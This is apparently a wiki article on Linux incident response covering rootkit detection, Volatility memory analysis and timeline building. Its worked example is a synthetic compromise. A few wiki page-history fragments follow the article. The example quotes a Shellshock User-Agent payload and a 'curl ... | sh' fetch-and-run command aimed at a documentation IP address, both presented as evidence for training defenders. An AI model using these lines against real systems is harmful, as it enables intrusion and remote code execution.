A '''rootkit''' is malware built to hide itself and the attacker's other activity. Two kinds are common on Linux:

* '''User-space (library preload) rootkits''' install a malicious shared library and make every program load it (through <code>/etc/ld.so.preload</code> or the <code>LD_PRELOAD</code> variable), so that <code>ls</code>, <code>ps</code>, <code>ss</code> and friends quietly leave out the attacker's files, processes and connections. Older rootkits simply replaced those programs.
* '''Kernel-module (LKM) rootkits''' load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under <code>/usr/src</code>) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.

=== Signs something is being hidden ===

* Basic tools misbehave, disagree with each other, or stop working (<code>ls</code> or <code>ps</code> failing on an otherwise healthy system).
* A listening port shows in a port scan from another machine but not in <code>ss</code> on the host.
* Disk usage that does not add up, or CPU usage with no process to explain it.
* Logs with unexplained gaps, zero-length files (<code>/var/log/wtmp</code>, <code>btmp</code>) or timestamps that jump backwards.
* A "tainted" kernel: <code>cat /proc/sys/kernel/tainted</code> is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask "which module?", not a verdict.

=== Detection tools ===

<syntaxhighlight lang="bash">
sudo apt install rkhunter chkrootkit # or dnf install on RHEL-family (EPEL)
sudo rkhunter --check --sk --rwo # run all checks; skip keypress prompts; report warnings only
sudo chkrootkit
</syntaxhighlight>

<code>rkhunter</code> and <code>chkrootkit</code> compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in <code>/var/log/rkhunter.log</code>). They are a quick extra check, not the main method. Treat their output as leads:

* They are '''signature-based''': they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). <code>chkrootkit</code> in particular sees little development, and many investigators no longer rely on it.
* They run ''on'' the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).
* <code>rkhunter</code> is much more useful if you run <code>sudo rkhunter --propupd</code> on a known-clean system first, so later runs can detect changed files.

=== Verify installed files against the package manager ===

<syntaxhighlight lang="bash">
sudo apt install debsums && sudo debsums -c # Debian/Ubuntu: list installed files whose checksum changed
sudo rpm -Va # RHEL family: verify all packages
</syntaxhighlight>

A modified <code>/bin/ls</code>, <code>/usr/bin/ps</code> or <code>sshd</code> that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof of health.)

=== Cross-checking tools against each other ===

Because a rootkit typically fools some tools but not others, disagreement is informative:

<syntaxhighlight lang="bash">
echo /usr/src/.* # the shell's own glob expansion; does it show entries ls hides?
ls /proc | grep -E '^[0-9]+$' | wc -l ; ps -e --no-headers | wc -l # process count via /proc vs via ps
sudo apt install unhide && sudo unhide proc # look for processes hidden from ps
lsmod # compare to a known-good machine's module list
</syntaxhighlight>

A statically linked tool (such as <code>busybox</code>, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.

=== Log tampering ===

<syntaxhighlight lang="bash">
ls -la /var/log # any log suddenly tiny, empty, or not modified when it should be?
journalctl --verify # consistency check of the journal files
</syntaxhighlight>

The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with <code>rsyslog</code>) so that deleting local lines does not delete the record.

== Going deeper: memory analysis with Volatility 3 ==

Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.

[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.

=== The symbols problem ===

Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a "symbol table" (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor's build options), and you may need a different symbol file for every machine in an investigation.

Making one requires the kernel built '''with debugging symbols''': a "debug" kernel package for the exact version (named with <code>-dbg</code> or <code>-dbgsym</code> depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself admits that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.

<syntaxhighlight lang="bash">
# 1. What kernel was running? (a banner is stored in memory)
vol -f memory.lime banners.Banners
strings -a memory.lime | grep PRETTY_NAME= # the distribution name, too

# 2. If you have the matching debug kernel (a large "vmlinux" file, hundreds of MB; a normal one is under ~10 MB)
sudo find / -name 'vmlinu*' -size +100M 2>/dev/null
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 # look for "with debug_info, not stripped"

# 3. Convert it into a symbol file and place it where Volatility looks
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 > vmlinux-5.10.0-21-amd64.json
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/
</syntaxhighlight>

If the debug kernel is present on the machine you are analyzing, you are lucky. The command name (<code>vol</code>, <code>vol.py</code> or <code>vol3.py</code>) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with <code>-s .</code>.

=== The plugins you will use most ===

Plugin names and output change between versions. List the current ones with <code>vol --help | grep linux.</code>. A good first test is <code>linux.pslist.PsList</code>: it is fast, and if it produces sensible output your image and symbols are working.

{| class="wikitable"
! Plugin !! What it answers
|-
| <code>linux.pslist.PsList</code> || What processes exist (PID, parent PID, name)?
|-
| <code>linux.psaux.PsAux</code> || The same, with each process's full command line.
|-
| <code>linux.pstree.PsTree</code> || The parent/child tree, useful for "how was this started?"
|-
| <code>linux.lsof.Lsof</code> || Which files does a process have open (add <code>--pid</code> to pick one)? Reveals executables and data in strange places.
|-
| <code>linux.elfs.Elfs</code> and <code>linux.proc.Maps</code> || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).
|-
| <code>linux.sockstat.Sockstat</code> || Network connections and listeners (filter with <code>grep AF_INET</code> to skip the noisy local sockets).
|-
| <code>linux.bash.Bash</code> || Command history recovered from running shells, ''with timestamps''.
|-
| <code>linux.lsmod.Lsmod</code> || Loaded kernel modules (the ones that are not hidden).
|}

The <code>bash</code> plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session's commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell's start time; the lines after them, with different times, are what was typed in that session.

=== Hunting for rootkits in memory ===

<syntaxhighlight lang="bash">
vol -s . -f memory.lime linux.check_modules.Check_modules # kernel modules hidden from the normal module lists
vol -s . -f memory.lime linux.check_syscall.Check_syscall # system calls whose handlers have been replaced (hooks)
vol -s . -f memory.lime linux.check_creds.Check_creds # processes sharing credentials, a sign of credential tampering
</syntaxhighlight>

* <code>Check_modules</code> compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional harmless false positive (for example a legitimate virtualization driver), so investigate each hit. A rootkit that does not hide, but instead uses an ordinary-sounding name, is caught by comparing <code>Lsmod</code> output with a known-good machine.
* <code>Check_syscall</code> shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under <code>/proc</code>, hide processes too) and for sending signals.
* Other plugins (for example <code>Check_afinfo</code>, <code>Check_idt</code>, <code>Keyboard_notifiers</code>, <code>Tty_check</code>) look for network-structure tampering and keylogger techniques.

Then pivot: use YARA rules built from indicators you already have (the <code>YaraScan</code> plugin, or YARA directly), look at the <code>bash</code> history for the commands used to install the rootkit, and search the image with <code>strings</code>.

=== No symbol file? Quick triage instead ===

Even without Volatility working, a memory image can be mined. <code>strings</code> pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.

<syntaxhighlight lang="bash">
strings -a memory.lime | gzip > memory.strings.gz # keep for context searches
bulk_extractor -o be-out memory.lime # the output folder must not already exist

head be-out/url_histogram.txt # start with the histograms: common URLs, IPs, domains
head be-out/ip_histogram.txt

# who was talking to whom, from packet fragments bulk_extractor recovered
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head
</syntaxhighlight>

Look for what does not belong: a strange URL, an address you do not recognize appearing many times. Then search the saved strings around that item (<code>zgrep -F -C3 suspicious.example memory.strings.gz</code>) for context.

== Step 6: Building a timeline ==

Investigations get clear once events are in one ordered list. A '''timeline''' combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.

=== Quick version ===

<syntaxhighlight lang="bash">
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path
sudo find / -xdev -type f -newermt '2026-09-10 00:00' ! -newermt '2026-09-11 00:00' \
-printf '%C+ %T+ %u %p\n' | sort

stat /var/tmp/.cache/update # shows access, modify, change (and, on many filesystems, birth) times

# files changed after a file you already know the attacker touched
sudo find / -xdev -newer /etc/passwd -type f -ls 2>/dev/null
ls -lArt /etc # a directory sorted by modification time, oldest first
</syntaxhighlight>

=== The full method (The Sleuth Kit) ===

For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit] (TSK). You collect the raw timestamps into a "body file" (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.

<syntaxhighlight lang="bash">
# 1. one body file per file system ("-m /" = the mount point prefix to put on each path)
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip > bodyfile-root.gz
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip > bodyfile-boot.gz # -o = the partition's start sector, from mmls

# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 > timeline.csv
</syntaxhighlight>

Open the CSV in a spreadsheet or a timeline viewer. The date argument means "from this date forward"; use a range such as <code>2026-09-01..2026-09-15</code> to limit it further. Then start from '''pivot points''': places in the timeline you already have reason to look.

* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.
* Modification times on <code>/etc/passwd</code> and <code>/etc/shadow</code> if accounts were added.
* An alert, a log entry or a suspicious login: jump to that time.
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.

=== Understanding Linux timestamps ===

Files have four time values:

{| class="wikitable"
! Name !! Meaning !! Notes
|-
| '''mtime''' (modified) || When the contents last changed || Easy for an attacker with root to set to any value with <code>touch -d</code>.
|-
| '''atime''' (accessed) || When the contents were last read or run || Linux usually mounts with <code>relatime</code>, which updates atime only if it is older than the mtime/ctime, or more than 24 hours old. So atime is updated only occasionally, but is still sometimes useful (for example on a rarely-used program the attacker dropped and ran). Your own investigation also changes atimes.
|-
| '''ctime''' (changed) || When the file's ''metadata'' last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been "timestomped." But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as <code>debugfs</code>).
|-
| '''btime''' (birth/creation) || When the file was created || Recorded by ext4 and shown by <code>stat</code> ("Birth"); not available on every file system or tool.
|}

Timelines have limits. Timestamps are '''ephemeral''': each file keeps only its latest values. If an attacker edits <code>/etc/shadow</code> and a user later changes a password, the attacker's timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package's own program during an update is not.

For those reasons, treat a timeline as '''a guide to evidence, not evidence itself'''. It points you to the files, logs and memory artifacts that you then examine and can report.

Some other useful timing facts:

* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation's local time zone unless you tell them otherwise.
* The SSH host keys under <code>/etc/ssh</code> are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)
* Check the system's own clock and time zone against its logs before you compare times across sources.

=== A note on deleted files ===

Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.

== Worked example ==

''This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.''

'''Report:''' the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.

'''1. Volatile state.''' The process tree shows a shell started by the web server, and a process nobody can identify:

<syntaxhighlight lang="text">
www-data 4108 apache2 -k start
www-data 4121 \_ sh -c curl -s http://203.0.113.50/u.sh | sh
www-data 4188 /var/tmp/.cache/update
</syntaxhighlight>

<syntaxhighlight lang="text">
$ sudo ss -tnp state established
Recv-Q Send-Q Local Address:Port Peer Address:Port Process
0 0 10.0.0.5:48822 203.0.113.50:4444 users:(("update",pid=4188,fd=3))
</syntaxhighlight>

Already there are three clues: a web-server child running a downloader, a program in a hidden directory under <code>/var/tmp</code>, and an outbound connection owned by that program.

'''2. Way in.''' The access log around the time process 4121 started (14:02 UTC) holds:

<syntaxhighlight lang="text">
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] "GET /cgi-bin/status.sh HTTP/1.1" 200 412 "-" "() { :;}; echo; /usr/bin/id"
</syntaxhighlight>

A <code>() {</code> in the User-Agent, sent to a CGI script, is a Shellshock attempt. The <code>200</code> and the timing (the shell appears seconds later) suggest it worked. The client address, <code>198.51.100.7</code>, is the same one that was guessing SSH passwords minutes earlier in <code>auth.log</code>, so the attacker was probing more than one way in.

'''3. Persistence.''' The cron directory for the web user contains a job that restarts the unknown program every minute:

<syntaxhighlight lang="text">
$ sudo cat /var/spool/cron/crontabs/www-data
* * * * * /var/tmp/.cache/update >/dev/null 2>&1
</syntaxhighlight>

Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of <code>/proc/4188/exe</code> and hashes it.

'''4. Timeline.'''

{| class="wikitable"
! Time (UTC) !! Event !! Source
|-
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as <code>deploy</code> || <code>auth.log</code>
|-
| 14:02 || Shellshock-style request against <code>/cgi-bin/status.sh</code> || <code>access.log</code>
|-
| 14:02 || <code>apache2</code> spawns a shell that downloads and runs a script || process tree
|-
| 14:03 || <code>/var/tmp/.cache/update</code> created; cron entry added || file times, crontab
|-
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || <code>ss</code>
|}

'''5. Conclusions and open questions.''' The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the <code>deploy</code> SSH login also the attacker (check that account's history and keys)? What did the attacker reach with the web user's permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.

== After the analysis ==

* '''Contain:''' isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.
* '''Eradicate and recover:''' if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.
* '''Reset credentials and keys''' that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.
* '''Close the way in:''' patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).
* '''Write it up:''' the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.

== Quick reference: symptom to first check ==

{| class="wikitable"
! Symptom !! First place to look
|-
| Unexpected logins || <code>last -aiF</code>, <code>auth.log</code> (or <code>secure</code>), <code>journalctl -u ssh</code>
|-
| Web server slow or making outbound connections || Process tree (<code>ps --forest</code>), <code>ss -tnp</code>, web access and error logs
|-
| A process you cannot identify || <code>/proc/PID/exe</code> and <code>cwd</code>; is the executable deleted, under <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code>, or in a hidden directory?
|-
| A user or service you do not recognize || <code>/etc/passwd</code> (UID 0 and login shells), <code>/etc/shadow</code>, <code>sudoers</code>
|-
| A program that keeps coming back || <code>crontab</code>s, <code>systemctl list-timers</code>, enabled unit files, shell start-up files, scripts those run
|-
| Someone can log in without a password || <code>authorized_keys</code> files, <code>sshd_config</code>
|-
| Commands behave strangely or disagree || <code>debsums</code> or <code>rpm -Va</code>, <code>/etc/ld.so.preload</code>, a memory image with Volatility, a trusted boot disk, <code>rkhunter</code> as a secondary check
|-
| Logs look too clean || File sizes and mtimes in <code>/var/log</code>, remote log server, <code>journalctl --verify</code>
|-
| "What happened, and in what order?" || A timeline: <code>find -printf</code> for a quick look, TSK <code>fls</code> plus <code>mactime</code> for a full one
|-
| Machine is off, or you have only a disk || Mount the image read-only (<code>ro,noexec,noload</code>) and work through steps 2 to 6 on the mount
|}

== Practicing safely ==

The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the ''defender'' side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.

For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi's team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository's own terms before copying or redistributing anything from it.

== Credits and license ==

Parts of this page (the way live triage, memory analysis, disk images and timelines are organized; the process-analysis red flags; the set-UID, persistence and post-exploitation checklists; the Volatility and mounting workflows; and several examples such as the look-alike hidden directories) are adapted from ''Linux Forensics'' (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].

Changes: the material has been rewritten, condensed and reorganized into a single article; commands were re-checked and modified (and some added); and the SSH, web-log, worked-example and quick-reference sections are new. The original author has not reviewed or endorsed this page. Like the rest of WikiCyber, this page is available under CC BY-SA 4.0.

== Sources and further reading ==

* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics ''Linux Forensics'']. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for <code>ss</code>, <code>find</code>, <code>stat</code>, <code>journalctl</code>, <code>last</code>, <code>ausearch</code>, <code>mount</code>, <code>losetup</code> and the other commands used above.

[[Category:Linux]]

Practice Images

2026-09-19T06:27:25Z

FlyingShrimps: FlyingShrimps moved page Draft:Practice Images to Practice Images without leaving a redirect: Approved by FlyingShrimps

Last Updated: 9-18-2026

== The list ==

The community's list of practice images for Windows, Linux and Cisco Packet Tracer, with difficulty, ratings, creators and download links, is kept in a shared spreadsheet:

'''[https://docs.google.com/spreadsheets/d/1cdVHtk4w5JDJCYy-EO2_ycr0ZqMgUyjFOVDn5Y8eGVw/edit?usp=sharing Practice images spreadsheet]'''

== Before you download ==

* '''Large and multi-part downloads are normal.''' Use [https://www.7-zip.org/ 7-Zip] to extract them, and read the README inside each image before you start.
* '''Try before you peek.''' Where a walkthrough or answer key exists, you learn far more if you work until you are truly out of ideas first.
* Cisco Packet Tracer activity files (<code>.pka</code>) need [https://www.netacad.com/ Cisco Packet Tracer], which Cisco offers through its Networking Academy.
* This list is unofficial and is not affiliated with CyberPatriot, the Air & Space Forces Association, Cisco or Microsoft. Each image belongs to its creator.

[[Category:Practice images]]

2026-08-08T19:21:27Z

FlyingShrimps:

Attack Analysis

2026-08-08T19:21:17Z

FlyingShrimps:

Attack Analysis

2026-08-08T06:39:24Z

FlyingShrimps:

This is a draft, that is supposed to be unpublished.

Attack Analysis

2026-08-08T06:37:42Z

FlyingShrimps: Created page with "{{subst:submit}}"

<div style="border:1px solid #ccc; background:#f8f9fa; padding:10px; margin-bottom:1em;">
'''This draft has been submitted for review.''' A reviewer will check it for structure, sourcing, and accuracy. You may continue editing while you wait.
</div>
[[Category:Pending review]]